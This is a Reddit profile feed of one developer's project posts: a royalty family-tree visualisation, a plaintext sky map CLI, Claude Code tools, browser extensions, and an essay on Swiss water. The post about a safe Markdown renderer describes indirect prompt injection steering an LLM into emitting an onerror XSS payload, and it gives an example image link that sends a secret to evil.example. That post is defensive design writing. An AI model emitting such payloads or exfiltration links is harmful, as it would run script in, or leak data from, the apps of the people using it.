Image 1 — [OC] 5,200 years of royalty in one interactive family tree — 84 nations, 800 houses, 4,547 people
Image 2 — [OC] 5,200 years of royalty in one interactive family tree — 84 nations, 800 houses, 4,547 people
Image 3 — [OC] 5,200 years of royalty in one interactive family tree — 84 nations, 800 houses, 4,547 people
▲ 702 r/visualization+1 crossposts

[OC] 5,200 years of royalty in one interactive family tree — 84 nations, 800 houses, 4,547 people

DESKTOP ONLY FOR NOW WORKS ON MOBILE TOO Interactive version: https://www.habibicode.org/gotha

I have always been fascinated by history and dynasties. This is what prompted me to build this interactive dataviz (with the help of AI - I could not code that alone).

It is a world family tree of all major ruling dynasties, from Ancient Egypt to the current day.

Presented in three views:

  • Bloodlines: vertical position is birth year. Horizontal position starts in the person's nation but moves towards their relatives. The columns blur together as houses merge.
  • Nations: Same time scale, but every nation is pinned into its own column and packed locally. A line leaving a column is a marriage or a birth that crossed a border.
  • Ties: In this view, time is removed. Each nation is represented as a circle. The circles are spread out by a spring model where the pull between any two is the number of people whose parent, child or spouse sat in the other one. Nations that intermarried end up touching.

Interactive version https://www.habibicode.org/gotha

u/siorge — 1 day ago
▲ 6 r/visualization+1 crossposts

Update: skymap.sh has crossed 10,000 requests handled.

11 days ago, I released skymap.sh, a plaintext map of the sky above you, available in your browser and in your CLI (and on mobile, but it's not plaintext there)

https://reddit.com/link/1vkq86o/video/66p47o6gtkih1/player

Since then, I worked on polishing the UX and adding coverage for more celestial events and objects (like eclipses and meteo showers), and refining the looks.

Today, I just crossed 10,000 requests handled. Since there is no user account and no tracking, requests is the only metric I have to gauge user interest and interactions.

This is probably insignificant to most, but it means a lot to me and feels like a major first milestone. Wanted to share here :)

https://preview.redd.it/a8r3m0x1ukih1.png?width=1530&format=png&auto=webp&s=57a22b7e956483787171809afa3558dfef521c0b

reddit.com
u/siorge — 9 days ago
▲ 11 r/amateurastronomy+1 crossposts

360deg sphere of the sky in your mobile browser, in plaintext

I released skymap.sh a few days ago. It is a plaintext view of the sky that shows the major stars, constellations, deep space objects, and obviously the moon and the planets.

It is built in plaintext to be curlable from your CLI and also serves the data in json for your agents to read it more easily.

Today I released a mobile version which takes you into a 3d 360deg sphere of the sky above and below you

It took me hours to get it to work properly and get Claude to admit he was gaslighting me (I knew where the bug was but didn't know how to fix it) but it works now!

I hope you enjoy it

Here is the repo: https://github.com/HabibiCodeCH/skymap-sh

And the dedicated community for bug reports, feature requests or more: r/skymap

u/siorge — 17 days ago
▲ 27 r/commandline+1 crossposts

skymap.sh: a CLI skymap that tracks stars and planets (and the ISS)

EDIT: many updates have been pushed since, I hope you enjoy them. I also created r/skymap to centralise all update news and discussions around the product. Join if you care :)

Hi r/commandline,

I wanted to share with you a small command line tool I built (with the assistance of AI - the code is AI-generated) to display a sky map directly in your CLI. No API, no signup, no data. Plain text.

Simply type in your CLI:

curl skymap.sh

Or visit skymap.sh

And you will see a current view of your local sky (day or night). Check it out in the gif below:

https://i.redd.it/pqbode9q3dgh1.gif

​It tracks the Sun, the Moon, the planets, 2'500 important stars as well as the ISS.

Here are the command/parameters you can use:

curl skymap.sh                 # uses your IP location
curl skymap.sh/Tokyo           # any of 40,000+ major cities
curl skymap.sh/47.38,8.54      # raw coordinates
?t=2026-08-12T23:00            # see the sky at any time, past or future
(±2 years)
?view=disc                     # whole sky as a circle, North up, looking
straight up
?facing=NW                     # a 140°-wide window facing one direction,
undistorted shapes
?span=90                       # control how wide the window is (90–344°)
?find=Venus                    # frame one object: a planet, the Moon, a
                                 named star, or a recognizable star pattern
                                 like the "Big Dipper." Tells you where to
                                 look and if it's not up right now, when it
                                 will be up next
?night=1                       # force the star chart even during daylight
                                 (default is the Sun's path across the sky
                                 during the day)
?w=100                         # fit the output to N columns, so it doesn't
                                 wrap in a narrower terminal
?format=json                   # the same facts as structured data instead
                                 of ASCII art
?plain=1                       # no ANSI colors

There is a live demo with real examples at skymap.sh/demo, and you can use curl skymap.sh/help for the full reference.

I have basic dev skills from a previous career and am an astronomy enthusiast, so I figured I would try my hand at building something fun with the help of an AI agent!

I hope this post is suitable for this sub, and importantly, that you like the tool :)

reddit.com
u/siorge — 21 days ago
▲ 2 r/Markdown+1 crossposts

A Markdown renderer safe for rendering LLM output

LLMs output millions, maybe billions, of markdown files every single day.

We all create, read, and render these files without much care.

The markdown LLMs generate is a function of everything in their context window: fetched web pages, tool results, other people's messages in a shared thread. None of that is fully under your control, so if a model gets steered (say via indirect prompt injection) into emitting something like <img src=x onerror="...">, and your chat UI or coding-agent webview renders that markdown through innerHTML, that payload runs inside that app with whatever access it has.

Every markdown renderer I checked (marked, markdown-it, showdown) parses to an HTML string, and either passes raw HTML by default or expects you to add a sanitiser on top. This is one more failure point in a hands-off process (agentic coding), and something one might easily forget.

This renderer removes the sink entirely.

render() never produces an HTML string. Instead, it builds a DocumentFragment directly with createElement/createTextNode/setAttribute. No innerHTML anywhere in the call path, so there's nothing for a hostile tag to be parsed into.

You can verify the whole safety property by reading the one file that ever touches the DOM (emit.js, ~400 lines).

One thing it doesn't close on its own: an http/https image URL still gets fetched the instant it renders with no click needed. A model tricked into emitting ![](https://evil.example/log?data=SECRET) can still leak data through the request itself, even with zero script execution.

To fix this, there is a urlFilter hook (host allowlist, or route images through a proxy), but it is opt-in, not automatic.

A few implementation choices were made, to keep this small enough to inline into a single-file web app while keeping the security property intact:

- Not a full CommonMark implementation. 77% of in-scope spec examples pass; an honest breakdown of what's excluded and why is in the README.

- Raw HTML in markdown is escaped to visible text, never rendered. That's not a bug. This is by design.

- No reference-style links, no entity decoding, no indented code blocks (fenced only).

- Emphasis uses a simpler rule than CommonMark's full delimiter-run algorithm, which is a meaningful chunk of a complete parser's size by itself.

Zero dependencies. ~13 KB minified, ~4.8 KB gzipped.

Demo: https://habibicodech.github.io/safe-markdown/
Repo: https://github.com/HabibiCodeCH/safe-markdown

reddit.com
u/siorge — 22 days ago
▲ 1 r/webdev

I built iamsingle.app: a directory of single-file web apps

I discovered Bento today (bento.page) a full PowerPoint clone living inside a single html file. I got fascinated by the idea and decided to create a small directory for SFWAs (single-file web apps):

https://iamsingle.app

Anyone can submit a new sfwa: the form opens a PR automatically, and every submission gets scanned (detect-secrets + semgrep + a few pattern checks for things like eval() on dynamic content) before it's merged, shown as a security badge on each entry.

There are around 12 entries so far: Bento, TiddlyWiki, Hyperclay, Decker, a few AI-agent tools, some game packs. Would love more submissions, or feedback on what's missing!

u/siorge — 28 days ago
▲ 3 r/BuildWithClaude+1 crossposts

Context and scope drift are costing you time and tokens. I built a free, local, open-source memory + governance layer to reduce them.

Every new Claude Code session starts fresh, forgetting most of what happened before it.

What you were working on, what you already decided, what already exists in the codebase, what's in scope for this task versus not. You must re-explain the same context over and over, and eventually something gets duplicated, contradicted, or quietly touched that shouldn't have been.

I built codekeel to close that gap and ensure context and scope drifts are kept minimal

1. Session continuity: PROJECT_STATE.md
A background hook auto-maintains a running log of what happened in each session (what you worked on, what got touched) and feeds it back into every new session's context automatically. You stop re-explaining where you left off; the next session just picks up knowing.

2. Decision ledger: /decision Record an architectural call once (eg: "no raw SQL outside the repo layer," "auth routes always check X first"). It's injected into every future session automatically, and edits under its scope get checked against it before they land: pattern-checkable ones locally, judgment-dependent ones live against a model if you've set your own ANTHROPIC_API_KEY.

3. Function + feature awareness: FUNCTIONS.md &amp; FEATURES.md
An auto-maintained inventory of every function/class/export, so the agent checks what already exists before writing something that duplicates it. FEATURES.md goes further, grouping the codebase's exports into cross-cutting features; a map of what your project actually does, derived once from the code itself.

4. Scope-confirmation gate
Before an edit touches files outside what the current task actually named (especially anything auth/permissions/billing/migration-shaped), it pauses, shows exactly what's about to change, and asks first instead of quietly expanding scope.

Two-tier enforcement:

  • pattern checks run locally and instantly
  • semantic checks only run if you set your own Anthropic key: BYOK, straight from your machine to Anthropic, codekeel never sees that traffic.

Privacy

No account, no server, no telemetry.

Free and open source, AGPL-3.0. Built with itself. Every mechanism above has been running against codekeel's own codebase throughout development.

npx codekeel install

Repo: https://github.com/HabibiCodeCH/codekeel
Site: https://codekeel.ai

Feedback and bug reports genuinely welcome. Not taking external PRs right now, but issues are open.

u/siorge — 30 days ago

Why is every third post on this sub about Rennet

For real, what’s going on here? For the past week all I’m seeing is rennet.

reddit.com
u/siorge — 1 month ago
▲ 2 r/vibecodingmemes+1 crossposts

I built a Spotify-Wrapped-style "receipt" for your Claude Code usage — 100% local, one command

I've been using Claude Code a ton these past few months and got curious how much I was actually burning through, so I built a little tool that turns your usage into an itemized paper receipt — tokens burned, longest streak, your coding "archetype" (Midnight Refactorer, Weekend Warrior, etc.), how many times you've insulted Claude, and a real $ estimate (based on model used and price per token - not on your subscription)

Everything is computed locally by reading your own ~/.claude/projects session logs — no code, no prompts, nothing ever leaves your machine unless you explicitly opt in to publish just the final numbers (aggregates) for a shareable card.

Just run in in your CLI using the following command:

npx vibe-code-receipts

Takes about 10 seconds, no install, no signup required.

vibecodereceipts.com

My main learning from this project was on bug handling. Many times, Claude was unable to produce the proper visual or perform the calculations as I wanted to. At first, I was trying to rephrase the bug, be more precise, maybe add more screenshots.

I realised that in many cases, telling Claude to start from scratch, or suggesting something I thought might be stupid (replace on-the-fly SVG tracing with a static image) was actually the right move.

So I guess, don't go burning thousands of tokens pushing Claude to solve bugs if you have an intuition. Ask Claude to investigate your idea, it might just work!

reddit.com
u/siorge — 2 months ago

A website to raise awareness about beef consumption

I hope this isn't against the rules, but I created this website (thecostofbeef.org) to raise awareness about the damages caused by beef consumption on the environment and the animals.

It is extremely simple, but I wanted it impactful and easy to grasp.

All feedback is welcome.

Of course, no data is collected, no cookies, nothing.

1714 CET: Pushed an update to add a more visual representation

reddit.com
u/siorge — 2 months ago
▲ 35 r/ClimateActionPlan+2 crossposts

Website to raise awareness about vegetarianism

Hi all,

I created this website: thecostofbeef.org to promote awareness of the environmental and ethical impacts of beef consumption.

Would love some feedback from you, as this is an issue that is dear to me.

Site doesn't collect any data or information. I hope this isn't against the rules.

1714 CET: Pushed an update to add a more visual representation

reddit.com
u/siorge — 2 months ago
▲ 43 r/vegan

A website to raise awareness about beef consumption

I hope this isn't against the rules, but I created this website (thecostofbeef.org) to raise awareness about the damages caused by beef consumption on the environment and the animals.

It is extremely simple, but I wanted it impactful and easy to grasp.

All feedback is welcome.

Of course, no data is collected, no cookies, nothing.

1714 CET: Pushed an update to add a more visual representation

reddit.com
u/siorge — 2 months ago

No Point of Reference: How Good Is It?

This is for a Just for fun extension I released close to two weeks ago

u/siorge — 2 months ago

Switzerland, Water, and the Risks No One Talks About

Starting June 29th, Swiss glaciers will have spent their "winter reserves" (ie, the accumulated snow and ice from the previous winter) and will start shrinking until the next winter "hopefully" brings cold and snow.

We have known for decades that Swiss glaciers were melting at an ever-increasing pace, due to the warming of average temperatures and the decrease in winter precipitations.

What I have never seen anyone talk about is: Switzerland will have a major problem with water in a few decades.

Since forever, Switzerland is touted as the "Water Tower of Europe", but the truth is that our reserves are in glaciers that will soon have disappeared. Before they do, the flow of the Rhine and the Rhone will change and probably go through phases of expansions (when ice melts too fast) and contractions (when there won't be enough ice).

Our neighbours rely on our water: the Rhone and the Rhine are essential to the French, German, and Dutch industrial and energy sectors.

There may come a time when Switzerland must decide between keeping water for itself, or letting it flow to Europe. At that moment, what will our neighbours do? Will they be kind and understanding, or will they threaten us?

Conversely, when Switzerland eventually runs out of glacier water, how will we gain access to desalination capacity? Who will provide it to us?

Beyond the water problem itself, it begs the question: how can Switzerland plan for its future in isolation from its European neighbours. We might need them for our own survival very soon, yet a huge portion of the population wants to distance our country from the EU and believes that Switzerland is so exceptional that it can fix everything on its own/doesn't need anyone.

I fear for the hydric future of Switzerland, and the current lack of political discussion around the topic.

Suisse : les glaciers ont déjà épuisé leurs réserves hivernales | RTS
When the water runs dry: Why France is freaking out over a tiny Swiss dam – POLITICO
Switzerland and France sign accords to manage shared waters - SWI swissinfo.ch

u/siorge — 2 months ago

"Tube Me That" - An easy way to search YouTube

I don't know about you, but I am a big YT user.

Whenever I learn of something new, my first reflexes are always: read wikipedia, and check youtube for a documentary/vlog...

To make this easier, I coded "Tube Me That"

The extension takes either the page name or your highlighted text, opens a menu for you to add some filters, and then searches YT according to your criteria.

One shortcut to YT.

https://chromewebstore.google.com/detail/tube-me-that/glnlgdlimpcmphnaipbmbkojbnhekgfn?authuser=1&hl=en

What do you think?

https://reddit.com/link/1ubnu4m/video/q8r2epdxgm8h1/player

reddit.com
u/siorge — 2 months ago

My first extension: How Musk is that?

Hi Sub,

This is my first post in here, as I just got my first extension published on the store.

It is called "How Musk is that?" and it will show you what every USD amount represents as a share of Elon Musk's fortune.

https://preview.redd.it/ml5gbqro988h1.png?width=1280&format=png&auto=webp&s=24f1e4b277df2962293f60ab9237be2d2effe8d5

This is a "just for fun" extension I wanted to share.

Of course, no data collected, no permission, no tracking, 100% ad-free.

You can find it here

I'd love your feedback!

reddit.com
u/siorge — 2 months ago